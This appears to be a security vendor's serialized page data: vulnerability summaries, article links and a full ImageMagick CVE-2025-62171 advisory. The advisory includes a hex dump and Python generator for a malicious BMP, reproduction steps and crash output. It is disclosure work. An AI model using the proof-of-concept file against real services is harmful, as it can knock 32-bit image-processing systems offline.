[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-62171":30,"landing-articles":95},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":57,"references":65,"score":72,"epss_score":73,"epss_percentile":74,"is_kev":75,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":76,"attack_mappings":86,"exploits":93},75950,"CVE-2025-62171","EUVD-2025-34893","ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)\n\n## Summary\n\nCVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack.\n\nThe patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.\n\n**Affected Versions:**\n- ImageMagick \u003C 7.1.2-2 (originally reported)\n- **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)**\n\n**Platform and Configuration Requirements:**\n- 32-bit systems ONLY (i386, i686, armv7l, etc.)\n- Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes))\n- Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**).\n\n---\n\n## Details(Root Cause Analysis)\n\n### Vulnerable Code Location\n\n**File:** `coders\u002Fbmp.c`  \n**Lines:** 1120-1122 (in version 7.1.2-5)\n\n### The Incomplete Patch\n\n```c\n\u002F\u002F Line 1120: Integer overflow happens HERE\nextent = image->columns * bmp_info.bits_per_pixel;  \u002F\u002F OVERFLOW!\n\n\u002F\u002F Line 1121: Uses already-overflowed value\nbytes_per_line = 4*((extent+31)\u002F32);\n\n\u002F\u002F Line 1122: Checks the RESULT, not the multiplication\nif (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Why the Patch Fails\n\n**Attack Vector (32-bit system):**\n```\nInput BMP Header:\n  Width: 536,870,912 (0x20000000)\n  Height: 1\n  Bits Per Pixel: 32\n\nCalculation on 32-bit system:\n  extent = 536,870,912 × 32\n         = 17,179,869,184 (0x400000000)\n         \n  32-bit truncation:\n  0x400000000 & 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!\n  \n  bytes_per_line = 4 × ((0 + 31) \u002F 32)\n                 = 4 × 0\n                 = 0\n  \n  BMPOverflowCheck(0, 1):\n    return (1 != 0) && (0 > 4294967295UL\u002F1)\n    return True && (0 > 4294967295)\n    return True && False\n    return False  ← Does NOT detect overflow!\n```\n\n**The check fails because:**\n1. The overflow happens at Line 1120 (extent calculation)\n2. `extent` becomes 0 due to 32-bit truncation\n3. `bytes_per_line` is calculated as 0 (Line 1121)\n4. `BMPOverflowCheck(0, 1)` returns **False** (no overflow detected)\n5. Code proceeds with corrupted values → ASan crash\n\n---\n\n## PoC(Proof of Concept)\n\n### Minimal 58-byte BMP File\n\n**Hex dump:**\n```\n00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|\n00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|\n00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00                    |..........|\n```\n\n**Key Fields:**\n- Offset 0x12: Width = `00 00 00 20` = 0x20000000 (536,870,912)\n- Offset 0x16: Height = `01 00 00 00` = 1\n- Offset 0x1C: BPP = `20 00` = 32\n\n### Python Generator\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\nimport struct\n\nwidth = 0x20000000   # 536,870,912\nheight = 1\nbpp = 32\n\n# BMP File Header (14 bytes)\nfile_header = b'BM'\nfile_header += struct.pack('\u003CI', 58)      # File size\nfile_header += struct.pack('\u003CHH', 0, 0)   # Reserved\nfile_header += struct.pack('\u003CI', 54)      # Pixel offset\n\n# DIB Header (40 bytes)\ndib_header = struct.pack('\u003CI', 40)        # Header size\ndib_header += struct.pack('\u003Ci', width)    # Width\ndib_header += struct.pack('\u003Ci', height)   # Height\ndib_header += struct.pack('\u003CH', 1)        # Planes\ndib_header += struct.pack('\u003CH', bpp)      # BPP\ndib_header += struct.pack('\u003CI', 0)        # Compression\ndib_header += struct.pack('\u003CI', 0)        # Image size\ndib_header += struct.pack('\u003Ci', 2835)     # X ppm\ndib_header += struct.pack('\u003Ci', 2835)     # Y ppm\ndib_header += struct.pack('\u003CI', 0)        # Colors\ndib_header += struct.pack('\u003CI', 0)        # Important colors\n\npixel_data = b'\\x00\\x00\\x00\\x00'\n\nwith open('overflow.bmp', 'wb') as f:\n    f.write(file_header + dib_header + pixel_data)\n\nprint(f\"Created overflow.bmp (58 bytes)\")\n```\n\n---\n\n## Reproduction Steps\n\n### Environment Setup\n\n```bash\n# Use 32-bit Docker container\ndocker run -it --name test-32bit i386\u002Fubuntu:latest bash\n\n# Install dependencies\napt-get update\napt-get install -y clang build-essential wget tar \\\n    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \\\n    zlib1g-dev liblzma-dev libbz2-dev\n\n# Download ImageMagick 7.1.2-5\ncd \u002Ftmp\nwget https:\u002F\u002Fgithub.com\u002FImageMagick\u002FImageMagick\u002Farchive\u002Frefs\u002Ftags\u002F7.1.2-5.tar.gz\ntar xzf 7.1.2-5.tar.gz\ncd ImageMagick-7.1.2-5\n```\n\n### Build with AddressSanitizer (32-bit IMPORTANT!)\n\n```bash\n# Configure for 32-bit build (CRITICAL - must be 32-bit!)\n.\u002Fconfigure \\\n    --host=i686-pc-linux-gnu \\\n    --disable-dependency-tracking \\\n    --disable-silent-rules \\\n    --disable-shared \\\n    --disable-openmp \\\n    --disable-docs \\\n    --without-x \\\n    --without-perl \\\n    --without-magick-plus-plus \\\n    --without-lqr \\\n    --without-zstd \\\n    --without-tiff \\\n    --with-quantum-depth=8 \\\n    --disable-hdri \\\n    CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j$(nproc)\n\n### Trigger the Vulnerability\n\n```bash\n# Set environment to bypass cache.c limits\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1\"\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n\n# Test with malicious BMP (use Python script above to create it)\n.\u002Futilities\u002Fmagick identify overflow.bmp\n```\n\n---\n\n## AddressSanitizer Output\n\n```\n==56720==AddressSanitizer CHECK failed: ..\u002F..\u002F..\u002F..\u002Fsrc\u002Flibsanitizer\u002Fasan\u002Fasan_poisoning.cc:37 \n\"((AddrIsInMem(addr + size - (1ULL \u003C\u003C kDefaultShadowScale)))) != (0)\" (0x0, 0x0)\n=================================================================\n==56720==AddressSanitizer CHECK failed: ..\u002F..\u002F..\u002F..\u002Fsrc\u002Flibsanitizer\u002Fasan\u002Fasan_descriptions.cc:80 \n\"((0 && \"Address is not in memory and not in shadow?\")) != (0)\" (0x0, 0x0)\n==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: \nstack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)\nFalse positive error reports may follow\nFor details see https:\u002F\u002Fgithub.com\u002Fgoogle\u002Fsanitizers\u002Fissues\u002F189\n```\n\nIt operates in the following environments.\n\n```\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n```\n\n## Impact\n\n### Attack Scenario\n\n1. Attacker creates a 58-byte malicious BMP file\n2. Uploads to web service that uses ImageMagick (on 32-bit system)\n3. ImageMagick attempts to process the image\n4. Integer overflow triggers AddressSanitizer crash\n5. Service becomes unavailable (Denial of Service)\n\n**Real-world targets:**\n- Web hosting platforms with image processing\n- CDN services with thumbnail generation\n- Legacy embedded systems\n- IoT devices running 32-bit Linux\n- Docker containers using 32-bit base images\n\n---\n\n## Recommended Fix\n\n### Correct Patch\n\nThe overflow check must happen **before** the multiplication:\n\n```c\n\u002F\u002F Add overflow check BEFORE calculating extent\nif (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"IntegerOverflowInDimensions\");\n\n\u002F\u002F Now safe to calculate\nextent = image->columns * bmp_info.bits_per_pixel;\nbytes_per_line = 4*((extent+31)\u002F32);\n\n\u002F\u002F Additional safety check\nif (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Alternative: Use 64-bit Arithmetic\n\n```c\n\u002F\u002F Force 64-bit calculation\nuint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;\n\nif (extent_64 > UINT32_MAX)\n    ThrowReaderException(CorruptImageError, \"ImageDimensionsTooLarge\");\n\nextent = (size_t)extent_64;\nbytes_per_line = 4*((extent+31)\u002F32);\n```\n\n### Credits\nwooseokdotkim\nwooseokdotkim@gmail.com","2025-10-28T14:43:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":45,"availabilityImpact":45,"privilegesRequired":45,"confidentialityImpact":44},"UNCHANGED","3.1",4.4,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H","NONE","HIGH",true,[48],"CWE-190",[50,51,52,53,54,55,56],"cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-x86:magick.net-q16-x86:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-hdri-x86:magick.net-q16-hdri-x86:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q8-anycpu:magick.net-q8-anycpu:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q8-x86:magick.net-q8-x86:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-hdri-anycpu:magick.net-q16-hdri-anycpu:*:*:*:*:*:*:*:*","cpe:2.3:a:magick.net-q16-anycpu:magick.net-q16-anycpu:*:*:*:*:*:*:*:*",[58,59,60,61,62,63,64],"Imagemagick Imagemagick","Magick.Net-Q8-Anycpu Magick.Net-Q8-Anycpu","Magick.Net-Q16-X86 Magick.Net-Q16-X86","Magick.Net-Q16-Hdri-X86 Magick.Net-Q16-Hdri-X86","Magick.Net-Q16-Anycpu Magick.Net-Q16-Anycpu","Magick.Net-Q8-X86 Magick.Net-Q8-X86","Magick.Net-Q16-Hdri-Anycpu Magick.Net-Q16-Hdri-Anycpu",[66,67,68,69,70,71],"https:\u002F\u002Fgithub.com\u002FImageMagick\u002FImageMagick\u002Fcommit\u002Fcea1693e2ded51b4cc91c70c54096cbed1691c00","https:\u002F\u002Fgithub.com\u002FImageMagick\u002FImageMagick\u002Fsecurity\u002Fadvisories\u002FGHSA-9pp9-cfwx-54rm","https:\u002F\u002Flists.debian.org\u002Fdebian-lts-announce\u002F2025\u002F10\u002Fmsg00019.html","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-62171","https:\u002F\u002Fgithub.com\u002FImageMagick\u002FImageMagick","https:\u002F\u002Fgithub.com\u002Fdlemstra\u002FMagick.NET\u002Freleases\u002Ftag\u002F14.9.0",0.57,0.00809,0.56612,false,{"timestamp":77,"automatable":78,"tech_impact":79,"exploitation":80,"cisa_decision":81,"cisa_remediation_timeline":85},"2025-10-17T17:05:36.358600Z","no","partial","poc",{"vector":82,"decision":83,"priority":84},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T03:14:47.438876\u002F","track_star","medium","60D",[87],{"name":88,"source":89,"tactics":90,"technique_id":92},"Exploit Public-Facing Application","attack_vector",[91],"initial-access","T1190",[94],{"link":67},{"count":96,"next":97,"previous":6,"results":98},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[99,107,115],{"id":100,"title":101,"summary":102,"published_at":103,"type":104,"link":105,"image_url":106},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":108,"title":109,"summary":110,"published_at":111,"type":112,"link":113,"image_url":114},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":116,"title":117,"summary":118,"published_at":119,"type":120,"link":121,"image_url":122},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]